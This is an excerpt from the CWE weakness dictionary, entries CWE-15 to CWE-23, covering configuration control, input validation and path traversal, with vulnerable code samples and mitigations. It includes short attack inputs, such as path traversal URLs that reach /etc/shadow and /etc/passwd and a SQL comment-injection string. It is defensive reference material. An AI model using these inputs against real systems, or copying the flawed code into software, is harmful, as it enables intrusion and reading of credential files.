CWE-15: External Control of System or Configuration Setting

Weakness ID: 15 *(Weakness Base)* **Status:** Incomplete

Description

Summary

One or more system settings or configuration elements can be externally controlled by a user.

Extended Description

Allowing external control of system settings can disrupt service or cause an application to behave in unexpected, and potentially malicious ways.

Time of Introduction

- Implementation

Demonstrative Examples

Example 1:

The following C code accepts a number as one of its command line parameters and sets it as the host ID of the current machine.

C Example: *Bad Code*

```
...
sethostid(argv[1]);
...
```

Although a process must be privileged to successfully invoke sethostid(), unprivileged users may be able to invoke the program. The code in this example allows user input to directly control the value of a system setting. If an attacker provides a malicious value for host ID, the attacker can misidentify the affected machine on the network or cause other unintended behavior.

Example 2:

The following Java code snippet reads a string from an HttpServletRequest and sets it as the active catalog for a database Connection.

Java Example: *Bad Code*

```
...
conn.setCatalog(request.getParamter("catalog"));
...
```

In this example, an attacker could cause an error by providing a nonexistent catalog name or connect to an unauthorized portion of the database.

Potential Mitigations

Compartmentalize your system and determine where the trust boundaries exist. Any input/control outside the trust boundary should be treated as potentially hostile.

Because setting manipulation covers a diverse set of functions, any attempt at illustrating it will inevitably be incomplete. Rather than searching for a tight-knit relationship between the functions addressed in the setting manipulation category, take a step back and consider the sorts of system values that an attacker should not be allowed to control.

In general, do not allow user-provided or otherwise untrusted data to control sensitive values. The leverage that an attacker gains by controlling these values is not always immediately obvious, but do not underestimate the creativity of your attacker.

Other Notes

Setting manipulation vulnerabilities occur when an attacker can control values that govern the behavior of the system, manage specific resources, or in some way affect the functionality of the application.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	2	Environment	**699**	1
ChildOf	Wc	20	Improper Input Validation	**700**	14
ChildOf	Wc	610	Externally Controlled Reference to a Resource in Another Sphere	1000	597
ChildOf	Wc	642	External Control of Critical State Data	**1000**	625

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Setting Manipulation

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
13	Subverting Environment Variable Values	
69	Target Programs with Elevated Privileges	
76	Manipulating Input to File System Calls	
77	Manipulating User-Controlled Variables	

CWE-16: Configuration

Category ID: 16 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are typically introduced during the configuration of the software.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	1	Location	**699**	1
MemberOf	V	*635*	*Weaknesses Used by NVD*	***635***	*616*

CWE-17: Code

Category ID: 17 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are typically introduced during code development, including specification, design, and implementation.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	1	Location	**699**	1
ParentOf	C	*18*	*Source Code*	***699***	*13*
ParentOf	C	*503*	*Byte/Object Code*	***699***	*528*
ParentOf	Wc	*657*	*Violation of Secure Design Principles*	***699***	*645*

CWE-18: Source Code

Category ID: 18 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are typically found within source code.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		17	Code	**699**	13
ParentOf		*19*	*Data Handling*	***699***	*14*
ParentOf		*227*	*Failure to Fulfill API Contract ('API Abuse')*	***699***	*254*
ParentOf		*254*	*Security Features*	***699***	*279*
ParentOf		*361*	*Time and State*	***699***	*382*
ParentOf		*388*	*Error Handling*	***699***	*413*
ParentOf		*398*	*Indicator of Poor Code Quality*	***699***	*423*
ParentOf		*417*	*Channel and Path Errors*	***699***	*447*
ParentOf		*429*	*Handler Errors*	***699***	*458*
ParentOf		*438*	*Behavioral Problems*	***699***	*465*
ParentOf		*442*	*Web Problems*	***699***	*468*
ParentOf		*445*	*User Interface Errors*	***699***	*469*
ParentOf		*452*	*Initialization and Cleanup Errors*	***699***	*474*
ParentOf		*465*	*Pointer Issues*	***699***	*486*
ParentOf		*485*	*Insufficient Encapsulation*	***699***	*508*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Source Code

CWE-19: Data Handling

Category ID: 19 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are typically found in functionality that processes data.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		18	Source Code	**699**	13
ParentOf		*20*	*Improper Input Validation*	***699***	*14*
ParentOf		*116*	*Improper Encoding or Escaping of Output*	***699***	*136*
ParentOf		*118*	*Improper Access of Indexable Resource ('Range Error')*	***699***	*143*
ParentOf		*133*	*String Errors*	***699***	*164*
ParentOf		*136*	*Type Errors*	***699***	*168*
ParentOf		*137*	*Representation Errors*	***699***	*169*
ParentOf		*189*	*Numeric Errors*	***699***	*217*
ParentOf		*199*	*Information Management Errors*	***699***	*230*
ParentOf		*228*	*Improper Handling of Syntactically Invalid Structure*	***699***	*255*
ParentOf		*461*	*Data Structure Issues*	***699***	*483*
ParentOf		*471*	*Modification of Assumed-Immutable Data (MAID)*	***699***	*492*

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
99	XML Parser Attack
100	Overflow Buffers

CWE-20: Improper Input Validation

Weakness ID: 20 *(Weakness Class)* **Status:** Draft

Description

Summary

The product does not validate or incorrectly validates input that can affect the control flow or data flow of a program.

Extended Description

When software fails to validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving

unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Platform Notes

Common Consequences

Availability

An attacker could provide unexpected values and cause a program crash.

Confidentiality

An attacker could read confidential data if they are able to control resource references.

Integrity

An attacker could modify data or possibly alter control flow in unexpected ways.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.

Java Example: *Bad Code*

```
...
public static final double price = 20.00;
int quantity = currentUser.getAttribute("quantity");
double total = price * quantity;
chargeUser(total);
...
```

The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.

Example 2:

This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.

C Example: *Bad Code*

```
...
#define MAX_DIM 100
...
int m,n, error; /* board dimensions */
board_square_t *board;
printf("Please specify the board height: \n");
error = scanf("%d", &m);
if ( EOF == error ){
  die("No integer passed: Die evil hacker!\n");
}
printf("Please specify the board width: \n");
error = scanf("%d", &n);
if ( EOF == error ){
  die("No integer passed: Die evil hacker!\n");
}
if ( m > MAX_DIM || n > MAX_DIM ) {
  die("Value too large: Die evil hacker!\n");
}
board = (board_square_t*) malloc( m * n * sizeof(board_square_t));
...
```

While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it fails to check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.

Example 3:

The following example shows a PHP application in which the programmer attempts to display a user's birthday and homepage.

PHP Example: *Bad Code*

```
$birthday = $_GET['birthday'];
$homepage = $_GET['homepage'];
echo "Birthday: $birthday<br>Homepage: <a href=$homepage>click here</a>"
```

The programmer intended for $birthday to be in a date format and $homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with <script> tags providing the values for birthday and / or homepage, then the script will run on the client's browser when the webserver echoes the content. Notice that even if the programmer were to defend the $birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form:

Attack

```
2009-01-09--
```

If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism.

Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences in a failed protection mechanism of this nature. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible.

Example 4:

This function attempts to extract a pair of numbers from a user-supplied string.

C Example: *Bad Code*

```
void parse_data(char *untrusted_input){
  int m, n, error;
  error = sscanf(untrusted_input, "%d:%d", &m, &n);
  if ( EOF == error ){
    die("Did not specify integer value. Die evil hacker!\n");
  }
  /* proceed assuming n and m are initialized correctly */
}
```

This code attempts to extract two integer values out of a formatted, user-supplied input. However, if an attacker were to provide an input of the form:

Attack

```
123:
```

then only the m variable will be initialized. Subsequent use of n may result in the use of an uninitialized variable (CWE-457).

Example 5:

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

Java Example: *Bad Code*

```
private void buildList ( int untrustedListSize ){
  if ( 0 > untrustedListSize ){
```

```
    die("Negative value supplied for list size, die evil hacker!");
  }
  Widget[] list = new Widget [ untrustedListSize ];
  list[0] = new Widget();
}
```

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.

Observed Examples

Reference	Description
CVE-2006-3790	size field that is inconsistent with packet size leads to buffer over-read
CVE-2006-5462	certificate signature forging allowed using extra data in a signature
CVE-2006-5525	incomplete blacklist allows SQL injection
CVE-2006-6658	request with missing parameters leads to information leak
CVE-2006-6870	infinite loop from DNS packet with a label that points to itself
CVE-2007-2442	zero-length input causes free of uninitialized pointer
CVE-2007-3409	infinite loop from DNS packet with a label that points to itself
CVE-2007-5893	HTTP request with missing protocol version number leads to crash
CVE-2008-0600	kernel does not validate an incoming pointer before dereferencing it
CVE-2008-1284	NUL byte in theme name cause directory traversal impact to be worse
CVE-2008-1303	missing parameter leads to crash
CVE-2008-1440	lack of validation of length field leads to infinite loop
CVE-2008-1625	lack of validation of input to an IOCTL allows code execution
CVE-2008-1737	anti-virus product allows DoS via zero-length field
CVE-2008-1738	anti-virus product has insufficient input validation of hooked SSDT functions, allowing code execution
CVE-2008-2223	SQL injection through an ID that was supposed to be numeric.
CVE-2008-2252	kernel does not validate parameters sent in from userland, allowing code execution
CVE-2008-2309	product uses a blacklist to identify potentially dangerous content, allowing attacker to bypass a warning
CVE-2008-2374	lack of validation of string length fields allows memory consumption or buffer over-read
CVE-2008-3174	driver in security product allows code execution due to insufficient validation
CVE-2008-3177	zero-length attachment causes crash
CVE-2008-3464	driver does not validate input from userland to the kernel
CVE-2008-3477	lack of input validation in spreadsheet program leads to buffer overflows, integer overflows, array index errors, and memory corruption.
CVE-2008-3494	security bypass via an extra header
CVE-2008-3571	empty packet triggers reboot
CVE-2008-3660	crash via multiple "." characters in file extension
CVE-2008-3680	packet with invalid version number leads to NULL pointer dereference
CVE-2008-3812	router crashes with a malformed packet
CVE-2008-3843	insufficient validation enables XSS
CVE-2008-4114	system crash with offset value that is inconsistent with packet size
CVE-2008-5285	infinite loop from a long SMTP request
CVE-2008-5305	Eval injection in Perl program using an ID that should only contain hyphens and numbers.
CVE-2008-5563	crash via a malformed frame structure

Potential Mitigations

Architecture and Design

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. If you use Struts, be mindful of weaknesses covered by the CWE-101 category.

Architecture and Design

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.

Architecture and Design

Assume all input is malicious. Use an "accept known good" input validation strategy (i.e., use a whitelist). Reject any input that does not strictly conform to specifications, or transform it into something that does. Use a blacklist to reject any unexpected inputs and detect potential attacks.

Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the input for further processing. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue."

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Architecture and Design

Do not rely exclusively on blacklist validation to detect malicious input or to encode output (CWE-184). There are too many ways to encode the same character, so you're likely to miss some variants.

Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Implementation

Be especially careful to validate your input when you invoke code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	19	Data Handling	**699**	14
CanPrecede	W	22	Path Traversal	1000	22
CanPrecede	W	41	Improper Resolution of Path Equivalence	1000	43
CanPrecede	W	74	Failure to Sanitize Data into a Different Plane ('Injection')	1000	70
ChildOf	W	693	Protection Mechanism Failure	**1000**	684
ChildOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	**711**	716
ChildOf	C	738	CERT C Secure Coding Section 04 - Integers (INT)	**734**	726
ChildOf	C	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	734	727
ChildOf	C	746	CERT C Secure Coding Section 12 - Error Handling (ERR)	734	730
ChildOf	C	747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	734	730
ChildOf	C	751	Insecure Interaction Between Components	**750**	733
ParentOf	W	*15*	*External Control of System or Configuration Setting*	***700***	*12*
ParentOf	C	*21*	*Pathname Traversal and Equivalence Errors*	***699***	*21*
ParentOf	W	*73*	*External Control of File Name or Path*	***699 700***	*67*
ParentOf	W	*77*	*Failure to Sanitize Data into a Control Plane ('Command Injection')*	***700***	*74*
ParentOf	W	*79*	*Failure to Preserve Web Page Structure ('Cross-site Scripting')*	***700***	*83*
ParentOf	W	*89*	*Failure to Preserve SQL Query Structure ('SQL Injection')*	***700***	*99*
ParentOf	W	*99*	*Improper Control of Resource Identifiers ('Resource Injection')*	***700***	*118*
ParentOf	W	*100*	*Technology-Specific Input Validation Problems*	***699 1000***	*119*
ParentOf	W	*102*	*Struts: Duplicate Validation Forms*	***700***	*120*
ParentOf	W	*103*	*Struts: Incomplete validate() Method Definition*	***700***	*121*
ParentOf	W	*104*	*Struts: Form Bean Does Not Extend Validation Class*	***700***	*122*
ParentOf	W	*105*	*Struts: Form Field Without Validator*	***700 1000***	*123*
ParentOf	W	*106*	*Struts: Plug-in Framework not in Use*	***700***	*124*
ParentOf	W	*107*	*Struts: Unused Validation Form*	***700***	*125*
ParentOf	W	*108*	*Struts: Unvalidated Action Form*	***700 1000***	*125*
ParentOf	W	*109*	*Struts: Validator Turned Off*	***700***	*126*
ParentOf	W	*110*	*Struts: Validator Without Form Field*	***700***	*127*
ParentOf	W	*111*	*Direct Use of Unsafe JNI*	***699 700***	*128*
ParentOf	W	*112*	*Missing XML Validation*	***699 700 1000***	*130*
ParentOf	W	*113*	*Failure to Sanitize CRLF Sequences in HTTP Headers ('HTTP Response Splitting')*	***700***	*131*
ParentOf	W	*114*	*Process Control*	***699 700 1000***	*134*
ParentOf	W	*115*	*Misinterpretation of Input*	***699 1000***	*136*

Nature	Type	ID	Name	V	Page
ParentOf		*117*	*Improper Output Sanitization for Logs*	***699 700***	*141*
ParentOf		*119*	*Failure to Constrain Operations within the Bounds of a Memory Buffer*	***699 700***	*144*
ParentOf		*120*	*Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')*	***700***	*148*
ParentOf		*134*	*Uncontrolled Format String*	***700***	*164*
ParentOf		*170*	*Improper Null Termination*	***700***	*196*
ParentOf		*190*	*Integer Overflow or Wraparound*	***700***	*218*
ParentOf		*249*	*Often Misused: Path Manipulation*	***699 700***	*270*
ParentOf		*466*	*Return of Pointer Value Outside of Expected Range*	***700***	*486*
ParentOf		*470*	*Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')*	***699 700***	*490*
ParentOf		*554*	*ASP.NET Misconfiguration: Not Using Input Validation Framework*	***699 1000***	*556*
ParentOf		*601*	*URL Redirection to Untrusted Site ('Open Redirect')*	***699***	*589*
ParentOf		*606*	*Unchecked Input for Loop Condition*	***699 1000***	*594*
ParentOf		*621*	*Variable Extraction Error*	***699***	*606*
ParentOf		*622*	*Unvalidated Function Hook Arguments*	***699***	*607*
ParentOf		*626*	*Null Byte Interaction Error (Poison Null Byte)*	***699 1000***	*610*
MemberOf	V	*635*	*Weaknesses Used by NVD*	***635***	*616*
ParentOf		*680*	*Integer Overflow to Buffer Overflow*	***1000***	*672*
ParentOf		*690*	*Unchecked Return Value to NULL Pointer Dereference*	***1000***	*681*
ParentOf		*692*	*Incomplete Blacklist to Cross-Site Scripting*	***1000***	*683*
MemberOf	V	*700*	*Seven Pernicious Kingdoms*	***700***	*689*

Relationship Notes

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks.

However, input validation is not always sufficient, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Input validation and representation
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
CERT C Secure Coding	ERR07-C		Prefer functions that support error checking over equivalent functions that don't
CERT C Secure Coding	INT06-C		Use strtol() or a related function to convert a string token to an integer
CERT C Secure Coding	MEM10-C		Define and use a pointer validation function
CERT C Secure Coding	MSC08-C		Library functions should validate their parameters

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
7	Blind SQL Injection
8	Buffer Overflow in an API Call

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
13	Subverting Environment Variable Values
14	Client-side Injection-induced Buffer Overflow
18	Embedding Scripts in Nonscript Elements
22	Exploiting Trust in Client (aka Make the Client Invisible)
24	Filter Failure through Buffer Overflow
28	Fuzzing
31	Accessing/Intercepting/Modifying HTTP Cookies
32	Embedding Scripts in HTTP Query Strings
42	MIME Conversion
43	Exploiting Multiple Input Interpretation Layers
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash
63	Simple Script Injection
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
66	SQL Injection
67	String Format Overflow in syslog()
71	Using Unicode Encoding to Bypass Validation Logic
72	URL Encoding
73	User-Controlled Filename
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
81	Web Logs Tampering
83	XPath Injection
85	Client Network Footprinting (using AJAX/XSS)
86	Embedding Script (XSS) in HTTP Headers
88	OS Command Injection
91	XSS in IMG Tags
99	XML Parser Attack
101	Server Side Include (SSI) Injection

References

Jim Manico. "Input Validation with ESAPI - Very Important ". 2008-08-15. < http://manicode.blogspot.com/2008/08/input-validation-with-esapi.html >.

"OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

Joel Scambray, Mike Shema and Caleb Sima. "Hacking Exposed Web Applications, Second Edition". Input Validation Attacks. McGraw-Hill. 2006-06-05.

Jeremiah Grossman. "Input validation or output filtering, which is better?". 2007-01-30. < http://jeremiahgrossman.blogspot.com/2007/01/input-validation-or-output-filtering.html >.

Kevin Beaver. "The importance of input validation". 2006-09-06. < http://searchsoftwarequality.techtarget.com/tip/0,289483,sid92_gci1214373,00.html >.

CWE-21: Pathname Traversal and Equivalence Errors

Category ID: 21 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category can be used to access files outside of a restricted directory (path traversal) or to perform operations on files that would otherwise be restricted (path equivalence).

Extended Description

Files, directories, and folders are so central to information technology that many different weaknesses and variants have been discovered. The manipulations generally involve special characters or sequences in pathnames, or the use of alternate references or channels.

Applicable Platforms

Languages

- All

Potential Mitigations

Assume all input is malicious. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	20	Improper Input Validation	**699**	14
ParentOf	Wc	*22*	*Path Traversal*	***699***	*22*
ParentOf	Wa	*41*	*Improper Resolution of Path Equivalence*	***699***	*43*
ParentOf	Wa	*59*	*Improper Link Resolution Before File Access ('Link Following')*	***699***	*54*
ParentOf	Wa	*66*	*Improper Handling of File Names that Identify Virtual Resources*	***699***	*61*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Pathname Traversal and Equivalence Errors

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic	
72	URL Encoding	
78	Using Escaped Slashes in Alternate Encoding	
79	Using Slashes in Alternate Encoding	
80	Using UTF-8 Encoding to Bypass Validation Logic	

CWE-22: Path Traversal

Weakness ID: 22 *(Weakness Class)* **Status:** Draft

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly sanitize special elements that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

One of the most common special elements is the ".." sequence, which in most modern operating systems is interpreted as the parent directory of the current location.

Alternate Terms

Directory traversal

Path traversal

"Path traversal" is preferred over "directory traversal."

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Assume all input is malicious. Attackers can insert paths into input vectors and traverse the file system. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised. See CWE-182 (Collapse of Data Into Unsafe Value).

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong input/output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Other Notes

Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).

Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.

Any combination of the items below can provide its own variant, e.g. "//../" is not listed (CVE-2004-0325).

Like other Weaknesses, terminology is often based on the types of manipulations used, instead of the underlying Weaknesses.

Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories. Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	21	Pathname Traversal and Equivalence Errors	**699**	21
ChildOf	C	632	Weaknesses that Affect Files or Directories	**631**	615
ChildOf	Wc	668	Exposure of Resource to Wrong Sphere	1000	658
ChildOf	Wc	706	Use of Incorrectly-Resolved Name or Reference	**1000**	708
ChildOf	C	715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference	**629**	713
ChildOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	**711**	716
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728
CanFollow	Wc	*20*	*Improper Input Validation*	*1000*	*14*
ParentOf	Wc	*23*	*Relative Path Traversal*	***699 1000***	*24*
ParentOf	Wc	*36*	*Absolute Path Traversal*	***699 1000***	*38*
CanFollow	Wc	*73*	*External Control of File Name or Path*	*1000*	*67*

Nature	Type	ID	Name	V	Page
CanFollow	Wc	*172*	*Encoding Error*	*1000*	*200*
MemberOf	V	*635*	*Weaknesses Used by NVD*	***635***	*616*

Relationship Notes

Pathname equivalence can be regarded as a type of canonicalization error.

Research Gaps

Most of these issues are probably under-studied

Affected Resources

- File/Directory

Relevant Properties

- Equivalence

Functional Areas

- File processing

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Path Traversal
OWASP Top Ten 2007	A4	CWE More Specific	Insecure Direct Object Reference
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
CERT C Secure Coding	FIO02-C		Canonicalize path names originating from untrusted sources

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
23	File System Function Injection, Content Based	
76	Manipulating Input to File System Calls	

CWE-23: Relative Path Traversal

Weakness ID: 23 *(Weakness Base)* **Status:** Draft

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly sanitize sequences such as ".." that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

The following URLs are vulnerable to this attack:

Bad Code

```
http://example.com.br/get-files.jsp?file=report.pdf
http://example.com.br/get-page.php?home=aaa.html
http://example.com.br/some-page.asp?page=index.html
```

A simple way to execute this attack is like this:

Attack

```
http://example.com.br/get-files?file=../../../../somedir/somefile
http://example.com.br/../../../../etc/shadow
```

http://example.com.br/get-files?file=../../../../etc/passwd

Potential Mitigations

Assume all input is malicious. Attackers can insert paths into input vectors and traverse the file system. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised. See CWE-182 (Collapse of Data Into Unsafe Value).

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong input/output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Category	22	Path Traversal	**699 1000**	22
ParentOf	Weakness Variant	*24*	*Path Traversal: '../filedir'*	***699 1000***	*26*
ParentOf	Weakness Variant	*25*	*Path Traversal: '/../filedir'*	***699 1000***	*27*
ParentOf	Weakness Variant	*26*	*Path Traversal: '/dir/../filename'*	***699 1000***	*27*
ParentOf	Weakness Variant	*27*	*Path Traversal: 'dir/../../filename'*	***699 1000***	*28*
ParentOf	Weakness Variant	*28*	*Path Traversal: '..\filedir'*	***699 1000***	*29*
ParentOf	Weakness Variant	*29*	*Path Traversal: '\..\filename'*	***699 1000***	*31*
ParentOf	Weakness Variant	*30*	*Path Traversal: '\dir\..\filename'*	***699 1000***	*32*
ParentOf	Weakness Variant	*31*	*Path Traversal: 'dir\..\..\filename'*	***699 1000***	*33*
ParentOf	Weakness Variant	*32*	*Path Traversal: '...' (Triple Dot)*	***699 1000***	*34*
ParentOf	Weakness Variant	*33*	*Path Traversal: '....' (Multiple Dot)*	***699 1000***	*35*
